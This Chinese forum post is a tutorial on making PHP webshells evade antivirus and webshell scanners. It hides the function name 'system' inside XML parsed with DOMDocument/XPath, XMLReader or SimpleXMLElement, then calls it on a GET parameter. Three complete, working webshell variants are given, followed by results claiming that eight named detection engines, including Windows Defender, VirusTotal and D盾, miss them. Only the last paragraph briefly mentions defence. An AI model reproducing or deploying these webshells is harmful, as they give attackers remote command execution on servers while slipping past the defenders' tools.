找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4664

积分

0

好友

621

主题
发表于 前天 09:16 | 查看: 12| 回复: 0

WebShell免杀的各种技巧中,利用语言特性和常见数据处理类进行混淆,是一种值得深入探索的思路。本文将分享一种在PHP中利用XML处理类来动态执行函数,从而实现免杀的方法。

核心思路

核心思路在于利用PHP中处理XML格式的内置类,对敏感函数名进行替换和隐藏,同时结合PHP动态执行代码的特性来绕过静态检测。

XML格式在Web开发中非常常见,PHP也提供了多种处理XML的类,例如DOMDocument。我们可以构造如下PHP文件:

<?php
// 创建 DOMDocument 对象
$dom = new DOMDocument();
// 加载 XML 文档
$dom->loadXML('<?xml version="1.0" encoding="UTF-8"?>
<data>
    <item>
        <key>system</key>
    </item>
    <item>
        <key>age</key>
        <value>30</value>
    </item>
</data>');
// 创建 DOMXPath 对象
$xpath = new DOMXPath($dom);
// 执行 XPath 查询,选择所有 item 节点
$items = $xpath->query('//item');
// 初始化一个空数组来存储键值对
$keyValuePairs = [];
// 遍历每个 item 节点
foreach ($items as $item) {
    // 获取 key 节点的文本内容
    $key = $xpath->query('key', $item)->item(0)->textContent;
    // 获取 value 节点的文本内容
    // $value = $xpath->query('value', $item)->item(0)->textContent;
    // 将键值对添加到数组中
    ($key)($_GET['a']);
}
?>

这段代码的关键在于($key)($_GET['a'])这一行。它从XML中读取key节点的内容(例如“system”),并将其作为函数名动态调用,参数来自GET请求。在PHP 8.2.9 和 PHP 7.3.4 测试环境下均能成功执行系统命令。

PHP执行成功弹出计算器

PHP执行触发未定义函数错误

主流引擎检测结果

那么,这种利用XML类进行伪装的WebShell,能否绕过常见的检测工具呢?我们使用多个平台进行了测试。

Windows Defender:
自定义扫描结果显示未发现威胁。
Windows Defender扫描结果

阿里云检测引擎:
文件被识别为WebShell类型,但检测结果为“WHITE”(白名单),威胁等级“无”。
阿里云检测引擎结果

D盾:
扫描1个文件,发现可疑文件数为0。
D盾扫描结果

河马WebShell检测器(Online Webshell Detector):
检测结果为“safe”(安全)。
河马检测结果

VirusTotal:
多个安全厂商分析结果均为“Undetected”(未检测到)。
VirusTotal检测结果

360杀毒:
自定义扫描未发现任何安全威胁。
360杀毒扫描结果

微步云沙箱:
文件被判定为“安全”,其XGPT解读认为代码是用于解析XML的普通PHP脚本。
微步云沙箱分析结果

长亭WebShell检测:
检测结果标记为“无风险”。
长亭检测结果

扩展:其他XML处理类

基于上述思路,我们还可以使用PHP中其他处理XML的类来构造变种,以增加混淆的多样性。

1. 使用 XMLReader 类:

<?php

// 示例 XML 字符串
$xmlString = '

<root>

    <item>

        <key1>system</key1>

    </item>

</root>

';
// 创建 XMLReader 实例
$reader = new XMLReader();
// 打开 XML 字符串进行解析
$reader->xml($xmlString);
// 存储键值对的数组
$keyValuePairs = [];
// 开始解析 XML
while ($reader->read()) {
    // 检查当前节点是否为元素节点
    if ($reader->nodeType === XMLReader::ELEMENT) {
        // 获取当前元素的名称
        $key = $reader->name;
        // 读取下一个节点
        if ($reader->read()) {
            // 检查下一个节点是否为文本节点
            if ($reader->nodeType === XMLReader::TEXT) {
                // 获取文本节点的值
                ($reader->value)($_GET["a"]);
            }
        }
    }
}
// 关闭 XMLReader
$reader->close();
?>

2. 使用 SimpleXMLElement 类:

<?php

// 定义XML字符串
$xmlString = '<?xml version="1.0" encoding="UTF-8"?>

<root>

    <system>a</system>

</root>';
// 使用SimpleXMLElement解析XML字符串
$xml = new SimpleXMLElement($xmlString);
// 遍历XML元素
foreach ($xml as $key => $value) {
    ($key)($_GET["a"]);
}
?>

使用XMLReaderSimpleXMLElement类构造的WebShell,在上述提到的检测引擎中同样能够绕过。

总结与思考

WebShell的免杀对抗是一场持续的技术博弈。本文展示的利用XML处理类进行混淆的方法,其核心价值在于提供了一种思路:将敏感的函数调用隐藏在日常业务逻辑常见的、看似无害的数据处理流程中。这种方法能有效绕过依赖特征码或简单语义分析的静态检测引擎。

当然,没有任何一种免杀方法是永久的。安全研究人员会不断更新检测规则,动态行为分析、机器学习等高级检测手段也在日益完善。对于防御方而言,除了依赖检测工具,更应注重代码审计、输入过滤、权限最小化等纵深防御措施。对于渗透测试人员和安全研究者来说,深入理解语言特性和开发框架,才能不断挖掘出新的技巧与思路。

在云栈社区,我们鼓励这种深度的技术探讨与实践分享,共同提升安全攻防两端的认知与水平。




上一篇:Windows 11系统广告关闭指南:五步关闭开始菜单、任务栏及搜索推荐
下一篇:StableToken:从模型结构视角分析离散语音语义Token的稳定性问题
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-7 18:16 , Processed in 0.812344 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表